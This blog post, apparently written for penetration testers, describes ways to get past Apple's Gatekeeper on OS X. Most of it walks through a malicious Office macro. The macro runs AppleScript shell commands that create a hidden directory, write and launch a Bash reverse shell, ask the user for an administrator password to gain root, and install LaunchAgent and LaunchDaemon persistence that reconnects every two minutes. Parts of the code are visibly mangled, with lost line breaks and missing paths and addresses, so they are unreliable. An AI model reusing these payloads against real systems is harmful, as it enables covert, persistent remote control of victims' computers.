Macrosploit – Bypassing Gatekeeper in OS X (part1)

In *, Exploits, Hacking, Penetration Testing, Research by [email protected]0 Comments

Gatekeeper is Apple’s anti-malware feature built into OS X that is designed to keep untrusted and malicious applications from running.  With Gatekeepers typical setting, if a user tries to open an application that is not signed with an Apple-recognized developer certificate (this is different than code signing certificates used by all other vendors) user will be told that the application cannot open.  With Gatekeeper’s most restrictive option only apps from the Mac App Store can be run.
However, any Mac user that has experienced Gatekeeper first hand probably knows that all you have to do to bypass Gatekeeper is to right click the application that you can otherwise not run and select open to run anyway. This is a necessary and regular thing for most Mac users because the Mac App Store has very few of the applications a normal user needs. In order to install Adobe PDF Reader, Antivirus, or even Microsoft Office one has to download software that is outside of the Mac App Store. Not to mention developers or other power users must often download unsigned software, as most open source software is not signed.
Four easy ways to bypass Gatekeeper
  1. From the background information you can see that a lot of users are used to bypassing Gatekeeper themselves as a part of regular use. If you target users that are used to bypassing Gatekeeper to install software and you send them some software to install this is game over. (i.e. Phishing page requiring update to Adobe Flash to view, user downloads malicious Adobe Flash installer and runs)
  2. Pay the money for an Apple Developer Certificate. This would work until the attacker is detected. Once reported the certificate would be revoked. This would still be worthwhile for high value targets. (i.e. you want to infect a political leader, things like this have happened like the Dalai Lama was compromised with targeted Mac malware in 2012 –
  3. Macrosploit – About a year ago I started experimenting with Microsoft Office Macros. They have been used for years and continue to be used as an attack vector on Windows systems. I wanted to create a Macro that would be platform independent. When it is opened on Windows it runs windows shellcode, on Mac it runs Mac shellcode, and on Linux it runs Linux shellcode. I partially solved this and posted an example macro that works with both Windows and OS X. The great thing about a macro on OS X is that it bypasses Gatekeeper completely. Microsoft Office is already installed and so opening a malicious document in the program allows code execution through the trust that is already established. (
  4. Replacing files within a trusted signed app. I have not tried this one yet and will provide some findings in part 2 of this post. (
The primary focus for the rest of this post will be on Macrosploit. I will get to #4 shown above in the next post.
Microsoft Office Macros in Windows use Visual Basic to execute commands and really do pretty much anything you want to do on a Windows system. This can be really good as it has powerful automation capabilities. It also has the ability to run pretty much any malware that an attacker may want. So for the Mac version of Microsoft Office I think they were trying to get away from using VBA by disabling it in Office 2004 and then reenabling in version 2008. There was also support added for Applescript to be run from macros. Applescript is a scripting language that makes possible direct control of many parts of the Mac OS. In fact you can use it to run shell commands and even run shell commands with administrator privileges!
So knowing this I put together a PoC Macro that if opened in Windows runs VBA that launches powershell to execute the shellcode or your choice, if opened in OS X it launches a Bash reverse shell to the IP and port specified using (You could also use Perl, Python, or Ruby as they are all built into OS X).
Create a hidden directory in the user’s home folder
MacScript “do shell script “”mkdir -p $HOME/.hidden1″””
Create a shell script containing the Bash reverse shell in the folder
MacScript “do shell script “”cat <<EOF > $HOME/.hidden1/connect.shn#!/bin/bashnbash -i >& /dev/tcp/ 0>&1nwait”””
Run the shell script to create the reverse shell connection (running as unprivileged user)
MacScript “do shell script “”sh $HOME/.hidden1/ > /dev/null 2>&1 &”””
You may notice that the number of quotes and the syntax of these commands look different. After trying several approaches this is the one that works within the MacScript function.
Next I experimented with Applescript’s ability to run shell scripts with administrative privileges. This runs the same shell script to create the reverse shell but this time it will be run with administrator privileges. This causes a popup prompting the user to enter password in order to allow Microsoft Word administrator privileges.
The pop up is actually a legitimate program asking for a password in order to proceed so I think many users would enter the password. However, even if they do not I thought it would be good for the Macro to establish at least a user level reverse shell. So that is what happens in the example macro I published. If a user exits out of the program after seeing the popup a user reverse shell will still be established.
We can also build persistence into the Macro. I used a simple method using plists and just adapted it to the Macro format
If all you have is user level access you can establish persistence using LaunchAgents like this.
MacScript “do shell script “”cat <<EOF > $HOME/Library/LaunchAgents/<plist version=“1.0”>n    <dict>n    <key>Label</key>n        <string></string>n    <key>ProgramArguments</key>n    <array>n        <string>/bin/sh</string>n        <string>$HOME/.hidden/</string>n    </array>n    <key>RunAtLoad</key>n        <true/>n    <key>StartInterval</key>n        <integer>120</integer>n    <key>AbandonProcessGroup</key>n        <true/>n    </dict>n</plist>”””
MacScript “do shell script “”launchctl load $HOME/Library/LaunchAgents/”””
This will run the Bash reverse shell every 2 minutes (120 seconds). This way if your connection fails it will come back up within 2 minutes.
If you have root privileges (the user enters the password into the popup as explained above) you can create a LaunchDaemon like this for a persistent root reverse shell.
 MacScript “do shell script “”cat <<EOF > $HOME/.hidden/persist.shn#!/bin/bashnmkdir -p /Library/LaunchDaemonsncp $HOME/Library/LaunchAgents/ /Library/LaunchDaemons/ load /Library/LaunchDaemons/”””
Conclusions – While OS X Gatekeeper is another hoop for an attacker to jump through there are easy ways to bypass the security it offers. I also suspect that none of the available Mac antivirus solutions would detect or stop this type of attack as it is not really exploiting anything, it is just using the built in functionality of the system for an unintended purpose.
Next Steps-
·        Create a Metasploit module (or script) that generates multi platform macros for penetration testing would be nice.
Further reading-
https://objective-see.comProvides Free OS X Security tools. While these tools would not prevent a malicious macro, they would detect and alert on the persistent connection. I think these are the best security tools I have seen so far for OS X, much better than the Mac AV solutions out there that are great at detecting Windows malware but don’t detect OS X malware.

Source: New feed